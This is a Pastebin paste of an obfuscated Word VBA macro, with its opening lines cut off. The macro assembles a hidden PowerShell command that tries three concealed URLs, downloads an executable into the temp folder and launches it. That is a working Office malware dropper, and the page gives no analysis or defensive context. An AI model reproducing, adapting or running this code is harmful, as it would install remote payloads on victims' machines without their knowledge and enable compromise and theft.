Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- tribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Dim gyoEtjsVKarhPbkq
- gyoEtjsVKarhPbkq = "piBjIwypVXxB"
- lgczLPOJlbyvFuRyYnpBhkZb (gyoEtjsVKarhPbkq)
- End Sub
- Function NPOCIrXGZiHwY()
- Dim EXYFFzrcdotFqdz
- EXYFFzrcdotFqdz = "$qcVYBGR = 'hnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrgnXFronXFrknXFrenXFrenXFrnnXFranXFrknXFrtnXFrenXFr.nXFrtnXFronXFrpnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrvnXFrinXFrdnXFrenXFronXFranXFrnnXFranXFrlnXFrynXFrsnXFrtnXFrenXFrsnXFr.nXFrwnXFrenXFrbnXFrcnXFranXFrmnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1nXFr,nXFrhnXFrtnXFrtnXFrpnXFr:nXFr/nXFr/nXFrpnXFrhnXFronXFrtnXFronXFrgnXFrrnXFranXFrpnXFrhnXFrynXFrpnXFronXFrinXFrnnXFrtnXFrenXFrrnXFr.nXFrmnXFrenXFrnnXFr/nXFranXFrdnXFrmnXFrinXFrnnXFr.nXFrpnXFrhnXFrpnXFr?nXFrfnXFr=nXFr1' -re" + "place 'nXFr', '';"
- NPOCIrXGZiHwY = EXYFFzrcdotFqdz
- End Function
- Function OCHkNFkDGVtHVAQgkAeQTfUm()
- Dim AsFmAalkqsGV
- AsFmAalkqsGV = "$bgkEHeJDiO = $qcVYBGR.Sp" + "lit(',');$dRdkqYLYer = $eLcL.next(1, 65536);$nmLnTiCn = $env:te" + "mp + '\' + $dRdkqYLYer + '.exe';for" + "each($crvyHl in $bgkEHeJDiO){try{$mYRg.Down" + "loadFile($crvyHl.ToS" + "tring(), $nmLnTiCn);S" + "tart-Pro" + "cess $nmLnTiCn;break;}catch{write-host $_.Exce" + "ption.Me" + "ssage;}}"
- OCHkNFkDGVtHVAQgkAeQTfUm = AsFmAalkqsGV
- End Function
- Function lgczLPOJlbyvFuRyYnpBhkZb(IVhVynCHwZRz)
- Dim ojbYzLWbiTK
- Dim qETIjefSpE
- Dim TmZouuYApDKTLFfrDLvibAbw
- qETIjefSpE = NPOCIrXGZiHwY()
- TmZouuYApDKTLFfrDLvibAbw = OCHkNFkDGVtHVAQgkAeQTfUm()
- ojbYzLWbiTK = "p" + "ow" + "er" + "she" + "ll $mYRg = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$eLcL = ne" + "w-ob" + "ject ra" + "ndo" + "m; "
- CreateObject("WScript.Shell").Run ojbYzLWbiTK + qETIjefSpE + TmZouuYApDKTLFfrDLvibAbw, 0
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement